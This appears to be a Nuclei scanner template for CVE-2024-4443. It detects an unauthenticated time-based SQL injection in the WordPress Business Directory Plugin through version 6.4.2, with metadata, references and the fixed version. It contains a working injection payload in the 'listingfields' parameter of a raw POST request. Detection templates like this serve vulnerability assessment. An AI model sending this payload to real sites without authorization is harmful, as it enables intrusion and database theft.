id: CVE-2024-4443

info:
  name: Business Directory Plugin <= 6.4.2 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The Business Directory Plugin Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
  impact: |
    Unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Fixed in 6.4.3.
  reference:
    - https://plugins.trac.wordpress.org/browser/business-directory-plugin/trunk/includes/fields/class-fieldtypes-select.php#L110
    - https://plugins.trac.wordpress.org/changeset/3089626/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/982fb304-08d6-4195-97a3-f18e94295492?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4443
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4443
    epss-score: 0.10272
    epss-percentile: 0.95097
    cpe: cpe:2.3:a:businessdirectoryplugin:business_directory:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/business-directory-plugin/"
    product: business_directory
    vendor: businessdirectoryplugin
  tags: time-based-sqli,cve,cve2024,sqli,business-directory,wordpress,wp-plugin,vuln,vkev

http:
  - raw:
      - |
        @timeout: 20s
        POST /business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1%3d1,6,0))+))--+-][1]= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains_all(body,"Business Directory","No listings found")'
        condition: and
# digest: 4a0a00473045022022b26fda4ff6ce2377a8164bd26ab5b189b2f9bba7a1d03b62ab60a7de555b68022100f26d99faf8ab4a69539169ca6f7c1b13024d6f732a26a54d4bbe2c9e6d736075:922c64590222798bb761d5b6d8e72950